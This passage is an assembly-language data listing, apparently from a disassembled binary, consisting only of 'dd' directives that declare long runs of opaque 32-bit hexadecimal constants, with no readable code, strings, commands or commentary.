		dd 0CCFE9970h, 3B743C00h, 847860A9h, 0CA60A18Dh, 62DC4432h
		dd 0CBBB3F62h, 90B0716Eh, 0A69B5460h, 73A2B654h, 0E15FB8BEh
		dd 937DFFDAh, 9B5A9374h, 0DA775410h, 3D124B5h, 9B6CDDBCh
		dd 1504E10Ch, 6D446E7Ah, 5337FAE1h, 0D2816BA7h,	3AB3246Fh
		dd 21C7835Fh, 0B4D6D2F2h, 435BD6ADh, 0AA3C5F3Bh, 0C18FD68Bh
		dd 9145415Bh, 0BEDDFDDh, 0CA9B06AAh, 58350380h,	54176128h
		dd 1CFE1E93h, 7C65CA92h, 728B89Fh, 0B348EABFh, 71B45934h
		dd 780F2B4Ah, 4592A2D5h, 0A2F04CF4h, 9DC90721h,	79FA914Dh
		dd 0B58312Ch, 27AF60DFh, 26AB02DCh, 0DECF9820h,	13D21898h
		dd 7FE96AC5h, 576C15F7h, 154598B5h, 817BB257h, 65DFB4E7h
		dd 1320BB4Eh, 89238373h, 0BB5FC10Ch, 381C4EF1h,	0C6F2DED7h
		dd 0EDBDBF57h, 37265B30h, 0AA3C0EBAh, 49F5CAEEh, 646C0D45h
		dd 302F6DC8h, 3D9DE90Ch, 0A887D125h, 8329B81Ah,	0B6EE9DD9h
		dd 3A2C06AFh, 3A48B355h, 28371FE1h, 4ADC45B5h, 4E32C71Ah
		dd 0E929CAE8h, 8655ED34h, 0F7E0BFAEh, 0E1513D54h, 26E34535h
		dd 9B7EB020h, 0DAA6D620h, 8C434D5h, 0E26F8C6h, 8705EA56h
		dd 7C4C0E64h, 0F6CFF603h, 0CEA92449h, 0E1A6DDE5h, 0BBB1D065h
		dd 7B65ED0Eh, 494956A0h, 430E3FC1h, 0FF77AB31h,	91498B8Dh
		dd 3C210F9Fh, 0CEA274E7h, 9E65A329h, 0FFE9E8F1h, 642A1F3Eh
		dd 7D9980D5h, 0FE23BEF3h, 79E76924h, 6078708Fh,	5F14BD34h
		dd 6598D2F8h, 0E2F01174h, 88C09D21h, 0C05DD9CCh, 37A4709Eh
		dd 522AB5BDh, 0E82327E9h, 0CEFD3CEDh, 0EE231CC4h, 0FE6CE04Eh
		dd 0AC9BD418h, 0F3E2E8Fh, 90E3F568h, 692E365Ch,	3363AC4Fh
		dd 0BF0C1C6Fh, 2EDF4D46h, 31C70D4Bh, 0D7A8969Dh, 0C43D2AF6h
		dd 0FC6AD965h, 2800C835h, 0ED4C63E8h, 0CE1F8B46h, 0DE4C0B67h
		dd 2BC76194h, 471FD7C8h, 7F1DC299h, 44DB82F3h, 0B9180ECDh
		dd 436DF11Ch, 3C22B88Ah, 1E992CA5h, 15A859FDh, 94882DBFh
		dd 0D4A350C8h, 43A760A6h, 62B04406h, 357F5E3Eh,	973CFBFBh
		dd 623398F7h, 440F617Eh, 0A1A12091h, 0ADBB62B0h, 9011BFEBh
		dd 0C2A4BA4Eh, 7ACCA7B6h, 0C7668283h, 72445813h, 0DE16294Bh
		dd 8D62932Bh, 0D1C5EF82h, 0F860568Eh, 0F7314741h, 1E15CF67h
		dd 843B02AEh, 0C1F58A60h, 8CC10952h, 56FDD5B2h,	61A8923h
		dd 52BE8CB0h, 0D01DFD84h, 443E0151h, 0A9B52D54h, 0E9A1DB5h
		dd 6CA2A9FEh, 5D475321h, 60EC9F37h, 0BC41DB4Dh,	0F78B02ADh
		dd 0E39072D4h, 0D170AF68h, 0E6D39D4Bh, 75ADF12Bh, 0DA45A0D4h
		dd 76B3E1F8h, 8C01CAFBh, 0B11E220Dh, 0CA0DA3CDh, 336F0090h
		dd 0F14F937Eh, 38B3DA14h, 9A48B6Ch, 0BED96F79h,	0C5B79341h
		dd 0C7D84B07h, 0D66C4820h, 0A9B3071Ch, 1BAB19FCh, 78E2EEF9h
		dd 0BFD1BE5Fh, 6E653F2h, 0BEBCFBFBh, 0FEDB3963h, 0C2D1EAB6h
		dd 3CFB0CAFh, 3E9D1550h, 4FFBDBFEh, 9D4492D9h, 8C746D37h
		dd 87CC63BAh, 0E18BDD6Ch, 1FDEF6D6h, 5FE0B3ACh,	869F2940h
		dd 4923E1F8h, 0A503D914h, 3D632A44h, 5B5DF8E0h,	0A053AE3Bh
		dd 0B752693Ah, 0ACA7090Dh, 0EECF9307h, 6453FA10h, 6A99D76Ch
		dd 0AA33EF7Fh, 0C156AAAEh, 23DA8F7Bh, 0EA598F04h, 0CC8C2AEBh
		dd 9E1C06D7h, 3FB5063Ah, 5786890Ah, 0D6729AB1h,	0BE76BEB9h
		dd 0DF5838E7h, 7BC264h,	0FC72009Ah, 6B5D11FEh, 0EBBE21E2h
		dd 35542664h, 8CF913F3h, 439F6C63h, 290AD550h, 62DB7B57h
		dd 0DE5610B8h, 6DBC9DB4h, 8DB2178Eh, 0D122DB35h, 730FEC6Fh
		dd 0E5C9F962h, 0E6C2A9FBh, 5E5DD89Ah, 5E532905h, 0E70F3346h
		dd 74D2B60Eh, 4BA5D328h, 1C73AC8Eh, 0C219D687h,	1C300687h
		dd 6F258F1Bh, 6943E74Fh, 1DFB050Eh, 78A2FD32h, 1BC35208h
		dd 0F8189A3Ch, 9C690DB8h, 7E583F6Bh, 347387B0h,	0FC72028Fh
		dd 9D6D06DEh, 0CBBE2B6Eh, 50C6DB90h, 0F30685DAh, 0AE37F8B4h
		dd 270192A0h, 156A5A29h, 53A118AFh, 6D7F22AFh, 8D7960A6h
		dd 4D3213D7h, 6714610Dh, 202ABB01h, 0E748FFD7h,	0E6800792h
		dd 0EF28347Ch, 0ABC4A3DBh, 0C59C01E9h, 495AC321h, 6A30124Dh
		dd 0B584930Eh, 6B21B4F9h, 0CBDA936Fh, 595BFB93h, 0D8B2ED51h
		dd 911B12F1h, 0A9F3228Ch, 331AC33Ch, 0BCDD1365h, 4DD33F2Fh
		dd 0C1C157D9h, 1C72F827h, 0CB7E4F5Ch, 0A0985D7Eh, 0A2173722h
		dd 73FA2723h, 0D39CEBB3h, 0B19865A2h, 9F53E544h, 73C5894Fh
		dd 92476C28h, 72B063F7h, 0A4CD9B9Dh, 836BE3F0h,	0E5A3CFE9h
		dd 49FB5E76h, 4700C844h, 2AC7E98Fh, 65073C4Eh, 0D7C0594Ch
		dd 0A24BB4C1h, 70F4EC86h, 95949B07h, 6C53BB8Fh,	0EAF9E405h
		dd 0D392F58Ah, 0CB388E04h, 5763EA06h, 0DE3D18EFh, 0F41D988Eh
		dd 1B55BF32h, 0E583F7Bh, 0D0838226h, 84DB056Fh,	719A0AF5h
		dd 0BBE9A7Ah, 9F8429E7h, 0FC068136h, 4389BE27h,	8B8A175Dh
		dd 657D9451h, 1893B0B6h, 283051A4h, 7280E312h, 0B130FDE1h
		dd 771083A0h, 65A93A56h, 2237AC3Bh, 0F56D4F4Eh,	55336764h
		dd 7998AFCh, 7EEF6195h,	0A16D9070h, 66317390h, 5B2F1087h
		dd 9D32106h, 0E86D445Fh, 96764EBh, 92188601h, 0EC772D8Ah
		dd 4C4928E5h, 0BF12BF88h, 5BFCAA4Ah, 0C582F3Bh,	6F36C3A2h
		dd 0F07FAA7h, 0BE34E2C3h, 3DE7D6C1h, 22B78E8Fh,	0BB85DAC9h
		dd 29D3F75Dh, 0B7881F5Ch, 60945548h, 97571248h,	0EE755EF1h
		dd 9E0E1336h, 74482AE2h, 314B708Fh, 9A5DF703h, 6A273CC4h
		dd 556F28B1h, 0DE4873C9h, 0E74AD420h, 0F69CF109h, 0DC425A32h
		dd 0A44A7099h, 5DBB5FA3h, 0EF9F4EFCh, 0AFB6878Fh, 0E8278A13h
		dd 0F0C48504h, 0ACD80559h, 0D01BAA95h, 5147C50Ch, 53F71609h
		dd 41BDB66Eh, 26D13F6h,	1C378E4Eh, 6EE4E2E2h, 8F3DD683h
		dd 9C8451EBh, 0CF972C6h, 0C081756Dh, 1C61F2F3h,	0E395E362h
		dd 1F9D4F37h, 6DB9D982h, 970FB37Bh, 0E142CABEh,	36F4CEB8h
		dd 0E64EF89Bh, 0E7172FFFh, 734D1746h, 0ABF56DD5h, 0AAC03303h
		dd 80E05201h, 5839DE55h, 9D099073h, 747053A3h, 8ED55B06h
		dd 0AB418012h, 8EBC3EE8h, 121186FCh, 0CF43041Fh, 24C5556Ah
		dd 1D74E803h, 0B6D21192h, 6D02C37Ah, 8BD51712h,	618E40FBh
		dd 658A0BBEh, 57FBE9DCh, 4D473659h, 36C1D32Eh, 4364207Dh
		dd 6CDCE20Ah, 251C1061h, 60D799BCh, 91FC0D88h, 613EA3A6h
		dd 2F340B7Dh, 6DA49EB5h, 0FCB316EBh, 0E01500CCh, 4CEFB07Eh
		dd 0EEC53E04h, 8890530Bh
		dd 753C576Fh, 49FF0BC3h, 61FCAE67h, 0DF0E0686h,	9A48CE0Eh
		dd 7051E7D2h, 0C59B1703h, 9BFC05EDh, 8DE2FD43h,	85CA91E9h
		dd 35196B26h, 3656BF08h, 664804E9h, 0A8FA840Eh,	0A483DD4Ch
		dd 53926350h, 0A2563E9Bh, 1E47DB39h, 0F26C878Dh, 0BC50EA91h
		dd 21B952F6h, 3D79665Dh, 0BC2EDAC7h, 6DB99700h,	0DE9F7C4Bh
		dd 0F9435A42h, 56F64638h, 3C4DEA86h, 5DA73CB2h,	0D541C0B1h
		dd 6E54DC9Ch, 0EFDDECFCh, 83BA1100h, 4A81DBAAh,	70C26431h
		dd 1086BCD7h, 0BADA4743h, 70099AE5h, 62021703h,	9C63FA3Dh
		dd 929098F0h, 0AD7EC57Eh, 2571CAEEh, 3E55054Fh,	8FA7F783h
		dd 3FE68E15h, 7C191AC8h, 6F40825Ch, 0FF352B71h,	0DC40D39Ch
		dd 71420219h, 0BEA984FCh, 0BFD7F581h, 0E956AE43h, 0BC2EA2E7h
		dd 6DB9A718h, 0DE9F5C5Bh, 0AC954662h, 6F16884Bh, 7EC604EAh
		dd 421725B2h, 84625851h, 51BFF605h, 7A1EE806h, 939B7601h
		dd 0A5BD97DFh, 88171A79h, 9B7A1207h, 0EB854BDEh, 41028F1Ah
		dd 0FFA0ECFCh, 0AC619AE8h, 829B4F0h, 29C9057Bh,	0CC4ACAF2h
		dd 9B5505BCh, 0F354FB80h, 5DD654CCh, 0ED8DFAC1h, 85C4FBF9h
		dd 7733EDA6h, 1D47DACEh, 0D4BA05C8h, 43890778h,	626D8FA2h
		dd 0E3C6EDF6h, 9B6B0B21h, 0E8B6AF00h, 8D7AC5EDh, 2DC0A8DFh
		dd 1A9D2CF5h, 7EC19363h, 2985BAB0h, 0A04DBB43h,	3B67AF9Ch
		dd 65E273EEh, 87B2D801h, 0A3365318h, 644EF7Ah, 0E5089370h
		dd 61963EE6h, 0DB08775Fh, 48CE8E02h, 47E9B20Fh,	1985FD87h
		dd 0C025597h, 1E071FEh,	0E5A6BF7Bh, 0F3794AFAh,	0E4B3FF4Eh
		dd 34278C13h, 0C2CFBC63h, 0AAB8D422h, 5D471A32h, 0B41600E8h
		dd 4388FB72h, 0B1630776h, 0ED6DB297h, 0CE1B2640h, 380EB8D0h
		dd 81807422h, 25C76FF7h, 671FF43Ah, 0A2A49AEBh,	0A2940D7Eh
		dd 8C4D2B4Eh, 268E1907h, 0B9734253h, 7FAE3AF1h,	5DAADA63h
		dd 6DC9D877h, 0E8779B0Eh, 20811915h, 0A66DDA91h, 8B7184FEh
		dd 432CCF81h, 3CEAED0Fh, 2C3E28E8h, 0E2925481h,	52FF7175h
		dd 28B1EF2Bh, 3B3E0705h, 737D1555h, 0BB120D28h,	0FBFBE914h
		dd 9D47DAC8h, 0F3F2CD4Fh, 848906F7h, 0E188F8B0h, 1D16F51Eh
		dd 0BDE7231Ch, 0E6A9FAABh, 8D972953h, 34D52784h, 0EE0F53DDh
		dd 61EF1863h, 0A26ED39Ah, 0A013205Eh, 0AB7D54A9h, 0EDE9BA03h
		dd 0C6419109h, 0D10F2FD6h, 0A173E047h, 687D20Ch, 61924BE0h
		dd 0B718675Fh, 0EA42970h, 0BCA49905h, 0C447D418h, 89097716h
		dd 0A310DA0Dh, 0D45AC779h, 68253F05h, 407BB10Ah, 0BA9A509Dh
		dd 88D80FEFh, 0D506B5Ah, 0CE321A5Dh, 8CC44B40h,	6989C149h
		dd 62880174h, 0D27C04D8h, 94923F28h, 0E454028Fh, 8D98148Ch
		dd 65CB4CBBh, 32979B8Ah, 0E5B7B914h, 0B1E4F53Bh, 0ACEF9441h
		dd 54914CA9h, 0B963ACFCh, 0E50BF8E7h, 0C43096A0h, 61EB2A8Fh
		dd 699BA297h, 6E880EAEh, 79734ED8h, 99ABFFC5h, 0B44C05FFh
		dd 85442F01h, 0AACB33BBh, 63EEFCF5h, 2C8AFA63h,	8A1DB439h
		dd 0C13F578Bh, 2314FD41h, 1E65E525h, 0FCB127ACh, 48CE34FDh
		dd 0FC0162ABh, 0CA855CC1h, 0B403E6A6h, 68D872F6h, 1F932FA4h
		dd 0AABD3AE2h, 8D7B753Bh, 0E10C6CD4h, 671FD244h, 2041F96Bh
		dd 0D7D1F7D5h, 50D5A444h, 0A8EE4B8Ch, 67224CFCh, 3524C15Ch
		dd 2B3A6C6Ch, 24C9E93Ah, 8B898D7Fh, 5A0B8844h, 73958F3Dh
		dd 0A7078A04h, 0AC7C0500h, 3886665Bh, 0FAC25C67h, 4DD511E1h
		dd 0FDEE7185h, 878A0E10h, 607A8CF6h, 6583F20Ah,	0E5483ACCh
		dd 207FA790h, 0D64FFEE4h, 0F812AD3Bh, 92992D71h, 3053D29Bh
		dd 694D2EFEh, 6C6642E9h, 9A7BDEBBh, 1C76510Ah, 0ACEF6803h
		dd 696AD8F1h, 71924AD0h, 0ACE0E14Ch, 0B08A9F75h, 0EF4D74FAh
		dd 0B8DE8B27h, 0C7103D2Dh, 0F667430Dh, 0B4757B5Ch, 0BD0C0E70h
		dd 0F55A1019h, 5AD5021Ah, 0A30F8A04h, 0A46C0500h, 0DDB1BB5Fh
		dd 8B86DE94h, 0D4D993E5h, 0A21BD9Ah, 0AEAF2720h, 98BDDDF7h
		dd 0C0368C18h, 1ACE8204h, 0AFFAA5D0h, 0E087D39Ch, 0A78DCE1Bh
		dd 9B7E18D1h, 390BC606h, 44D17416h, 0BFC6BA30h,	187A5650h
		dd 0A936EF86h, 808F5804h, 90CA602Ch, 0EE7A149Ah, 558BCF7Fh
		dd 4B7656BFh, 20A1FDCDh, 67DDB74Fh, 817355Dh, 7384376Dh
		dd 0BF1A3E93h, 69D6076Dh, 136E3EC2h, 886B06EBh,	15F2360h
		dd 0B8588EC1h, 0FD641A18h, 748C27A1h, 9F85BEADh, 0E4AD8886h
		dd 2401B43h, 8E0F4900h,	893DF597h, 0D940FC13h, 0EB64ACE8h
		dd 1F188AC3h, 0CC8B953Fh, 438AF0B4h, 0F1AC69FBh, 68B26E63h
		dd 0D7193031h, 64CFDF7Ch, 81592805h, 0B40722C3h, 86F32270h
		dd 210A1F62h, 0C68B7D1Fh, 638CDF6Ah, 0BB842807h, 364802F4h
		dd 8C03B352h, 0A4AD6CA4h, 0D5AE6F78h, 684DD687h, 0D7380792h
		dd 58E03815h, 4A3CF721h, 6FFC3800h, 0EBD7ED08h,	5803A20Eh
		dd 1C6C9AF4h, 98D379ECh, 0AC554A0Fh, 583C7EF1h,	7714028Ah
		dd 59EE04EBh, 0CBBE2E06h, 0A7423C60h, 0F306973Fh, 4C5A7DF2h
		dd 0EE4BE580h, 0C99072DDh, 646DD0C3h, 0EEDCB325h, 0F87CD0C7h
		dd 0DD479559h, 617390B2h, 65BC980Dh, 6AF7EB4Fh,	60D314B1h
		dd 8C42E94Fh, 0EDF5F303h, 67ED85Ch, 2EED9F6Ch, 8050E73Dh
		dd 748CDD57h, 0C4968F9Ah, 8AF84FA5h, 0BE78A94h,	543C0500h
		dd 0C0A7645Dh, 0E552592Ch, 0C3C992BFh, 5DAAF6A4h, 4750FB90h
		dd 9763C7D5h, 2BCE897Ch, 4E9A04F0h, 0B0B2C07Bh,	5763AA32h
		dd 57421BA8h, 4F467779h, 0C5CCAF98h, 44FAE9E4h,	0BFAE7238h
		dd 679ECFB1h, 658D825h,	27C0C720h, 0F7C5BC34h, 65A22666h
		dd 2190E86Eh, 0F6B0C3A2h, 20F4C107h, 3578CF76h,	7A754080h
		dd 5D88DAD0h, 0C76F9DF1h, 5D135F57h, 3655C2C9h,	0C341CA91h
		dd 750DFB51h, 8B71E989h, 0D087645Dh, 0DF914985h, 5B196336h
		dd 5722FA7Eh, 0B3DB59ECh, 5D41077Fh, 1037C38Bh,	3B5D04EFh
		dd 0B53B4F4h, 91025CE3h, 0DE72F6E2h, 6AFEB16Fh,	0E9FC4181h
		dd 0E5997652h, 9B92A953h, 75FF2406h, 718447B8h,	0A69D1E9Bh
		dd 0D809EF30h, 6DD112ABh, 0AD59A100h, 0A0E285C3h, 0EE79F28Ch
		dd 0A877D21Bh, 0F993AD05h, 0D09A2F2Dh, 60046443h, 4D4A21E1h
		dd 0D9E74B11h, 5FE83015h, 4D47573Fh, 44898E0Ah,	4F475207h
		dd 85AE17E0h, 3A1292BFh, 9E15F5D8h, 0C592160Ah,	0BEBB2B3Bh
		dd 49F90EAFh, 42D8C3E4h, 6BBE2CE0h, 0C53A559Dh,	0B2899FEEh
		dd 0C88AF732h, 0B1032F39h, 61DCBBFCh, 108EE041h, 2D31A53Dh
		dd 9D7806DEh, 0AC811184h, 672A87F3h, 92E2B094h,	0A27D9D7Bh
		dd 0E56A5B3Ah, 0B7AB0784h, 64FE698Eh, 0C87BED41h, 0B5AA5821h
		dd 0E14E22F2h, 30E2C68Bh, 9F6B4411h, 73EB7802h,	3D1E2B54h
		dd 0C5C4408Bh, 0FFD5C148h, 907DC0Fh, 7511CF71h,	47B2BF4Bh
		dd 221AB6CAh, 0E73642E0h, 9F6A516Ch, 549B28A5h,	0C0927C67h
		dd 0A248DE82h, 0A33F84A0h, 0C8808A0Eh, 0A1032F1Eh, 251F508Eh
		dd 0DE2DA658h, 65EF2064h, 0DD588E77h, 0F4D4C75Fh, 0EC0F4B3Bh
		dd 250FFB3Bh, 0F2A6662Bh, 5F50D0A6h, 0A73C0773h, 66F17688h
		dd 32F3FD59h, 6FDB8764h, 80B6BFF1h, 7548D5A2h, 0D153C07Fh
		dd 5EF0B67Ch, 8D747779h, 0CBAC1145h, 0A892FD4Dh, 49895D2Ch
		dd 9DD911E6h, 79FA2AF4h, 3FA78FCEh, 0EF32C3E7h,	937D0C96h
		dd 0C61110BFh, 22742DF0h, 8CCCA93h, 36B99FF5h, 0E35F809h
		dd 68400E2Eh, 251D1726h, 0B7EA25C8h, 0BB2D788h,	85448E19h
		dd 2FD1F2F4h, 378C0EB5h, 75C47DF7h, 2A8974B1h, 0E56AAB42h
		dd 8FB9C384h, 66F04688h
		dd 0DD771D59h, 0A75DBA01h, 0D6996F78h, 0FEF7CEC2h, 42185B5Ch
		dd 6582875Fh, 23B38C18h, 0A9BCD501h, 0DE1D5D64h, 0AECE91EAh
		dd 2A1692BFh, 0CE21E2A0h, 2F923E0Eh, 0AB581B34h, 8D141C96h
		dd 0FB1110AEh, 0A7C6AFE5h, 0FB4FA9CDh, 0FB3ED076h, 0C8928309h
		dd 0B1032F6Ch, 61DCBA5Ah, 108EEE0Dh, 2D31A145h,	7231430Eh
		dd 2FD4899Ch, 0D8080D75h, 35BDE13Eh, 297C4617h,	0E06AB70Bh
		dd 0EE7052A0h, 0A8471C17h, 32F1411Dh, 0F07D0B6Ch, 3947EE68h
		dd 0FEAE930Ch, 89C15749h, 65DD8E0Ah, 0CC24F4ECh, 4D5886FFh
		dd 2E8AA883h, 0AE9600D6h, 5E9886B2h, 0CB6AA7Ch,	0F4D33757h
		dd 71810848h, 35B82DC7h, 5C7324BBh, 61BE2CECh, 0BA7BDA88h
		dd 343A94F5h, 601BC7Dh,	0B4372820h, 4CC60C4Ch, 6CF4B4E5h
		dd 6DB29158h, 0D8F7C37Bh, 0E17B8A3Ch, 4B458C64h, 0EE8CB160h
		dd 2B3C116Bh, 72649F1Eh, 0FE7226F1h, 0C1BAA40Bh, 8DFE7109h
		dd 0D8771318h, 0FC980874h, 95269E57h, 8C8CC839h, 0DE0DCA92h
		dd 3FFE8712h, 878A7061h, 0CAD2E14Dh, 283FD563h,	521DEFBBh
		dd 0FFAF6B0h, 0EAD33757h, 39748A78h, 3F6E4C5Ah,	961714AEh
		dd 0DBF3A5ECh, 964F9B46h, 0F38C80C9h, 0C89BF380h, 990B2F52h
		dd 68E93776h, 0A3D251FAh, 75CEA918h, 6748CB5h, 0EE499904h
		dd 7B4F8DB1h, 0EE8CB6E0h, 0EFFC2F7Bh, 0B0ED3FB1h, 28F16107h
		dd 93F85F7Bh, 0C8753753h, 0C3BFF53Dh, 0E280AAF1h, 0CAABDED2h
		dd 0E50C72D9h, 708E8567h, 1FDB8C0Ch, 55F98C66h,	34075207h
		dd 3447DE39h, 9FDC11AAh, 0EB6AA7Eh, 68592F52h, 9AE8EF34h
		dd 8F1FB2Ch, 0C6DF8FE7h, 3FEB93E2h, 5C5B9E47h, 6F56194Ah
		dd 0C882B28Ch, 5E870B46h, 0AABF2311h, 10B2F619h, 3D31A16Dh
		dd 9D3C4232h, 0E14D5575h, 665789E0h, 0EF94A762h, 0B2FE3D6Eh
		dd 0B89C2828h, 20F7208Ch, 0BD755346h, 9DAA3808h, 4EDC53EFh
		dd 79D1E468h, 0FCA2860Ah, 0C9865B4Ch, 68EEE937h, 0CBD6C01Ch
		dd 41AC0500h, 2A08C4E3h, 3C87EA66h, 9EEB72AAh, 0BE29FAF5h
		dd 5A1DB61Ah, 0BBD652EDh, 91F9FC96h, 0FBCE8C03h, 0EFFBA703h
		dd 85025FAAh, 95FED57Fh, 43928A84h, 9C0BF76Ah, 77EB35A6h
		dd 0A79EE31Eh, 51BEDD45h, 670BC1Bh, 0F44994D1h,	77528A31h
		dd 0E6B4F1ADh, 0D776CB46h, 0B0A42469h, 22F80401h, 0ED3E4356h
		dd 6E67A39h, 0F57A036Ch, 79C06679h, 3F5A830Ch, 43BA1E90h
		dd 0B5F39A4Eh, 232337C6h, 42A47883h, 65890C77h,	34D7DE61h
		dd 1D85D271h, 0A2ABEAADh, 0ECD1F53Bh, 0C47B8C40h, 0E432B3DFh
		dd 6D8EE468h, 5FCB3C15h, 564F9347h, 3B8D84D0h, 0C840F61Ah
		dd 2B89075Ch, 61B27FDBh, 0B3D22D62h, 28337939h,	853942B6h
		dd 9DF0C43Fh, 6B7AFB35h, 0EE8CB560h, 0F75D016Bh, 0B8B12AB6h
		dd 0F615C5D7h, 0ED842EC0h, 0E1A785Ch, 0F3A7C7C5h, 61C8E42Fh
		dd 302A29B6h, 3D01C215h, 3501F299h, 0EB2A1C70h,	2953E583h
		dd 0FAABC9C8h, 0AC47AFA8h, 91110FEEh, 3C5CEAF4h, 0C65A3B10h
		dd 21FE3663h, 0D4720639h, 0FE19DC62h, 6F7E47F5h, 0E7860C45h
		dd 66121B82h, 538BF00Eh, 0A17EF712h, 26E27F56h,	9197DE2Ch
		dd 2831E944h, 8C2C448Ah, 2D30D15Dh, 78E5816Ah, 0ECA02D00h
		dd 0A78FF6E2h, 0A86CABC5h, 21E9458Bh, 65FEA257h, 0C0009619h
		dd 262C1A39h, 0A9F9F098h, 0B47A5FA3h, 0DDCD4EE3h, 3412878Fh
		dd 31FFC114h, 42160F05h, 703EA885h, 771210E2h, 0C96DDF71h
		dd 9929227Ch, 9498540Dh, 3EFFDDEDh, 79668FD5h, 1E9B03E3h
		dd 0FBBC2861h, 0A0CFC333h, 0B3838087h, 5675B770h, 0F188DB82h
		dd 0E36672DDh, 88E7A358h, 920306A0h, 847C0E91h,	27C484F4h
		dd 51EEFD38h, 0E684FEE9h, 0D71BD946h, 49266A49h, 0ABF97EA5h
		dd 0BD0BC688h, 72471AE1h, 6D770AD6h, 6B858687h,	3024D687h
		dd 409F4AE5h, 2AC90CC2h, 0BA97C76Fh, 4796C4DAh,	2877F983h
		dd 0D1D2546Eh, 191D98BEh, 7F5B7EFAh, 0CBDB3F12h, 0E54A0798h
		dd 647E415Bh, 23EF0ED3h, 6B3DF463h, 0B987BDD3h,	9C74A0Eh
		dd 0D69E7C00h, 0F1892019h, 649473DBh, 7096AE24h, 0EE62205Bh
		dd 4D17D77Eh, 651E0230h, 738C04CAh, 6483F5FEh, 0A032A62Bh
		dd 5BC6DF4Ah, 22F53107h, 2B726B46h, 8DFE96E0h, 0BFCA9329h
		dd 0B11AD00Dh, 1EB13604h, 13D36FD9h, 0BE2875DBh, 34439210h
		dd 6EA1501h, 2FC2E90Ah,	278325ECh, 1B4113FAh, 0BFC1E515h
		dd 7582B636h, 0C8B5029Eh, 0FD750C45h, 2CDE89FBh, 0E9B6ACEEh
		dd 0DD468625h, 7E381087h, 601E270h, 0E0D8AAE8h,	0E96E62A1h
		dd 8918E04Ah, 4453B9D0h, 67CC88Fh, 0E0498771h, 0A13EFE48h
		dd 1B04D398h, 0B603273Ah, 2BE495CDh, 0FB7494C9h, 15AE6A02h
		dd 64F571CFh, 0A5F5D22Dh, 0E46B2AF3h, 2024D7D7h, 8FAEC2E1h
		dd 25A99D90h, 3343E8EDh, 7CB4300h, 20A2EDF8h, 0AB423F69h
		dd 0F24966BFh, 93EF77F4h, 980B642h, 18551884h, 35A88DF4h
		dd 4A110111h, 0CAB9247Fh, 1F435DDCh, 7B136FD6h,	0C69AF7F9h
		dd 1E8152DFh, 606AA73Fh, 6BD72FACh, 6D4AD4D3h, 0F0FFCECBh
		dd 0B5B18BA8h, 0EAFF453Bh, 300DFA3Bh, 0AF76E9C3h, 0A0E6C4A7h
		dd 2821ED8Ch, 2D90ECE3h, 4C25D82Dh, 0B17E96D3h,	6897E7EDh
		dd 77E82097h, 0F42A031Dh, 3FCAF29Ah, 76D00971h,	436C88F8h
		dd 0E9BAB881h, 42E95F69h, 1661DF71h, 2823FBA5h,	8558F9EAh
		dd 34BDDFEDh, 28B26FCFh, 0B45BDE62h, 0BEAAA7EFh, 4D46D1C7h
		dd 0FBE9DD0Ch, 0A88FF54Fh, 0EDCDAC25h, 156E7217h, 74EF26A4h
		dd 0E6B4DC62h, 0DDF130EBh, 5C910275h, 8C0D0036h, 0F8590F4h
		dd 0CB9E72C4h, 2319B4BCh, 0D6799048h, 0E18FC9ECh, 0F482h
		dd 0F07C5279h, 6490A980h, 74A7930Ch, 0C69672E1h, 0CAC7E398h
		dd 0CB168CFBh, 6B20508Bh, 0A6A564D8h, 7D9C0A91h, 58447673h
		dd 728D8678h, 0DDBDB647h, 0D8638C32h, 0C7A19EBh, 65E914EAh
		dd 0EB3DF463h, 0B987BDD0h, 9C74A0Fh, 0D69E7C06h, 0F1892015h
		dd 649473D8h, 7382D3B5h, 92451E50h, 8D75C819h, 6C478A94h
		dd 3424F4CFh, 9A64B683h, 0E7FD7AC4h, 0E56D1F5Eh, 43AAC480h
		dd 12042F83h, 4F4558Ah,	301D40EFh, 306E1098h, 2EF4260Eh
		dd 75DF8844h, 353D8F3Dh, 14D78A04h, 42DC0500h, 0A4E7645Dh
		dd 0ADD2592Ch, 72C992BFh, 73AAFB95h, 0D150FB91h, 0CB428AA7h
		dd 3BCE89D0h, 6E9A04EBh, 0D35BA5BFh, 0DD47C6DBh, 8CAC536Eh
		dd 14DCA4FDh, 26807A97h, 6096CB65h, 9AF8A748h, 85E9B712h
		dd 728345B2h, 2DC87637h, 9F84DB35h, 0F916C14h, 0F1768F39h
		dd 5F17A4A6h, 0A7320F73h, 6E1D668Ah, 85B10EF1h,	4FFD1BAAh
		dd 69816F8Ch, 0FC85930Ch, 31E160DFh, 0BBBE799Fh, 34630791h
		dd 0AB3C908Dh, 2B9B12F7h, 18425579h, 7D90CD3Ah,	0D9F55006h
		dd 0C25857C2h, 806D0764h, 147201C4h, 1792C06Bh,	0B53FDCADh
		dd 1D47C6CBh, 76C19CFFh, 0BC75191Eh, 0E18830FBh, 901F3C09h
		dd 747E2145h, 0E8314A8Fh, 72835F12h, 54413784h,	37F8C15Fh
		dd 0BCBAAF38h, 66F558C4h, 2320CE42h, 0B7827B74h, 117726FCh
		dd 7543C109h, 4E01E62Ch, 9611597Ch, 75E5D640h, 84554B19h
		dd 3EDE70E6h, 0CD52F78Dh, 8679C389h, 72494D77h,	0D9510599h
		dd 0BD999E5Eh, 0DAA23E76h, 7DAEBA2Fh, 6F3E6D5Dh, 7F220894h
		dd 716A9B01h, 0A77AAF29h, 80913E84h, 235F6F6Ah,	0BE06E31Eh
		dd 210D30DAh, 0E346A1ABh, 12DAA4A0h, 95394ECDh,	6577C711h
		dd 5B3B0B5Ch, 670A3637h, 65EE56EBh, 0F2833CB0h,	5081D31Dh
		dd 6F77C373h, 11A3880Fh
		dd 4996F56h, 2FCD0EC5h,	4E5AE287h, 75C7D687h, 94831D4Ah
		dd 29B2833Eh, 26F20F0Ch, 9F651E73h, 5EFD0D8Bh, 0E74B71A9h
		dd 4E1C603Bh, 21A26FE1h, 0A2AE2F13h, 0D53F0367h, 1120ECC1h
		dd 0BE5DFB19h, 8BBE2CDEh, 76B81E52h, 82EEC3B9h,	1A750907h
		dd 0F1AC6442h, 57E67D6h, 186D5AFAh, 0AB33BBC4h,	53C6554Dh
		dd 2D9D42EBh, 0A45C6BC0h, 65A329E6h, 2192F26Eh,	0F6B42FA2h
		dd 0A3A9BFDBh, 4EA6688h, 8DC211A0h, 9D1655A2h, 7A90FF3Eh
		dd 0B5C83ED1h, 4D53B4E6h, 0B785F2DAh, 8662F8CCh, 219C0500h
		dd 3182EBFFh, 37E8451Dh, 0C02B72A9h, 0E329FAF5h, 101DB61Ah
		dd 0F9F9008Eh, 0BC720425h, 5ADF8FE6h, 6E42695Eh, 564CA211h
